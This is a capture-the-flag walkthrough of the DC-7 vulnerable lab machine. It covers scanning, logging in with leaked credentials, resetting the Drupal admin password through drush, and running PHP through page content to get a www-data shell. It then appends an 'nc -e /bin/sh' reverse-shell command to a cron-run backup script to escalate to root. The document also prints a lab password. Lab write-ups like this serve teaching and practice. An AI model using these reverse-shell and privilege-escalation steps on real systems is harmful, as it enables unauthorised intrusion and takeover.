Skip to content

Latest commit

 

History

History
97 lines (48 loc) · 2.02 KB

2019-09-dc7.md

File metadata and controls

97 lines (48 loc) · 2.02 KB

Netdiscover

discover

We use the tools called netdiscover scan hosts, we found the 192.168.0.106 is our target virtualbox host ip.


Namp

nmap

We found some services HTTP, SSH


Solution

home

This a website powered by drupal, we have no user and the we use gobuster nothing .

according to this hint ==> so we findDC7USER ==> Found the user may user twitter.

twitter

So i went into his github.

git1

git2

git3

So we found his user dc7user, password MdR3xOgB7#dW luckily.

We logon with dc7user in web failed , so we login in ssh successfully!!!

ssh

ls1

We found something interesting file.mbox

mbox

We could guess /opt/scripts/backups.sh may be executed by crantab server.

ls2

So we should to get the privilege of user www-data. we try modify the admin password with drush

drush user-password admin --password="admin"

modify_passwd

We login this Web with admin user.

login

admin

Now we should look for somewhere that could execute our shell to get www-data

content

page

We can use content to preview out php code, but we should install php extension(downloaded from

https://www.drupal.org/docs/8/system-requirements/php-requirements)

Then we can config this extension.

conifg

shell1

www-data

we get the user www-data, so we echo 'nc -e /bin/sh 192.168.0.105 233' to reverse our shell with root

shell2

shell3

now we' re root and we cd /root

flag

Successfully!!!!


That' all , Thanks for your watching